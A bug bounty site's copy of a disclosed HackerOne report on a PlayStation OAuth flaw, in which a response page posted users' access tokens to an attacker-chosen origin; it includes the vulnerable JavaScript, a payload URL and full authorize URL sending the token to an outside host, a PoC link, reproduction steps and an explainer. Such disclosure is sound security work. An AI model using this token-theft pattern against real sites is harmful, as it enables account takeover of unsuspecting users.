Skip to content
OAuth / SSO Disclosed report Intermediate

Access token stealing.

The OAuth response page on my.playstation.com read a requestID parameter and, when it began with 'window', posted the parsed OAuth response (including the access token) to whatever origin was supplied in the targetOrigin parameter. An attacker could therefore have a logged-in user open a crafted page and receive that user's access token, leading to account takeover.

bugdiscloseguys Follow

Originally disclosed on HackerOne

Bounty$1,200 High 8.1 View original
  • Triaged in 44 hours
  • Fixed in 4 months
  • Paid in 4 days
  • Disclosed after 8 months

Summary by the program

Summary:

https://my.playstation.com/auth/response.html suffers from a misconfiguration which leads to access token stealing.

Description:

The page https://my.playstation.com/auth/response.html?requestID=iframe_request_ca8b5107-9b8f-4510-9667-15fd7b9327d1&baseUrl=/&targetOrigin=https://my.playstation.com hosts a javascript which is responsible for transferring OAuth access token from the issuing server to the client.

On analyzing this javascript we found an issue which leads to an access token stealing.

    function parseResponse(a) {
    var b = a.hash.substr(1),
        c = a.search.substr(1),
        d = b + "&" + c,
        e = convertToObject(d);
    return e.refererURL = a.toString(), e
}

....
....
....
function sendResponseToApp(a) {
    var b = extractFrameTypeFromRequestID(a.requestID),
        c = a.targetOrigin || getOrigin(),
        d = a.baseUrl || "",
        e = a.returnRoute || "",
        f = a.excludeQueryParams,
        g = !f && window.location.search || "";
    switch (b) {
        case "iframe":
            window.parent.postMessage(a, c);
            break;
        case "window":
            window.opener.postMessage(a, c);
            break;
        case "external":
        default:
            var h = constructUrl(c, d, e) + g;
            /^(https:\/\/)([a-z0-9\-]+\.)+(playstation\.com)(:([0-9]){4})?\//.test(h) ?
             window.location.href = h : window.location.href = "https://playstation.com/error"
    }
}


var response = parseResponse(window.location);
sendResponseToApp(response);
var b = extractFrameTypeFromRequestID(a.requestID),
...
switch (b)
  case "window":
            window.opener.postMessage(a, c);
            break;

To get into the window case we need to start the requestID parameter value from window keyword. a => window.location c => a.targetOrigin which is the query parameter targetOrigin extracted using the function parseResponse. a,c are passed to window.opener.postMessage() which takes the first argument as the message itself and second as the origin where to send the message.

Our payload URL will become something like this: https://my.playstation.com/auth/response.html?requestID=window_request_ca8b5107-9b8f-4510-9667-15fd7b9327d1&baseUrl=/&targetOrigin=https://rce.ee/

We pass this payload URL to the OAuth issuing server: https://auth.api.sonyentertainmentnetwork.com/2.0/oauth/authorize?response_type=token&scope=capone%3Areport_submission%2Ckamaji%3Agame_list%2Ckamaji%3Aget_account_hash%2Cuser%3Aaccount.get%2Cuser%3Aaccount.profile.get%2Ckamaji%3Asocial_get_graph%2Ckamaji%3Augc%3Adistributor%2Cuser%3Aaccount.identityMapper%2Ckamaji%3Amusic_views%2Ckamaji%3Aactivity_feed_get_feed_privacy%2Ckamaji%3Aactivity_feed_get_news_feed%2Ckamaji%3Aactivity_feed_submit_feed_story%2Ckamaji%3Aactivity_feed_internal_feed_submit_story%2Ckamaji%3Aaccount_link_token_web%2Ckamaji%3Augc%3Adistributor_web%2Ckamaji%3Aurl_preview&client_id=656ace0b-d627-47e6-915c-13b259cd06b2&redirect_uri=https%3a//my.playstation.com/auth/response.html%3frequestID%3dwindow_request_ca8b5107-9b8f-4510-9667-15fd7b9327d1%26baseUrl%3d/%26targetOrigin%3dhttps%3a//rce.ee/&prompt=none

Here's the final PoC : https://rce.ee/psoauthbypass1007.html

Steps to reproduce:

Open https://playstation.com/ Login with your account Open and click! https://rce.ee/psoauthbypass1007.html

Impact

Access token stealing/account takeover.

Summary by the researcher

This was found In collaboration with @iamnoooob.

The original report as published on HackerOne, by bugdiscloseguys. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the page took the postMessage target origin from an attacker-controllable query parameter (targetOrigin) and chose the 'window' delivery path from an attacker-controllable requestID prefix, without validating that the origin belonged to PlayStation.

Impact

Access token stealing and account takeover, though the attack depends on the victim being logged in and opening the crafted page.

What the attacker needed

Victim is logged in to PlayStation; victim opens attacker's page

The fix

The page should ignore client-supplied targetOrigin and only post to a fixed PlayStation origin, not derive mode from requestID.

How it was found

  1. Open the PlayStation site and log in with an account.
  2. Open the attacker's crafted page, which loads the OAuth authorise endpoint with a redirect_uri pointing at the response page and carrying a requestID starting with 'window' plus an attacker targetOrigin.
  3. The response page parses the token from the URL and posts it to the attacker's origin via window.opener.postMessage.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

When you log in with a third-party service, the service hands your app a secret token that proves who you are. This page was meant to pass that token only to PlayStation's own site, but it trusted a value in the URL to decide where to send it. By putting their own site in that value, an attacker could make the page hand the token to them instead.

What is OAuth / SSO?

Mistakes in OAuth, OpenID Connect, SAML or token handling that leak codes and tokens or link an attacker's identity to a victim's account.

More by bugdiscloseguys

View all

12 more disclosed reports, best first.

More from PlayStation

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

OAuth and single sign-on flaws

The lesson behind this report.

Mistakes in OAuth, OpenID Connect, SAML or token handling that leak codes and tokens or link an attacker's identity to a victim's account.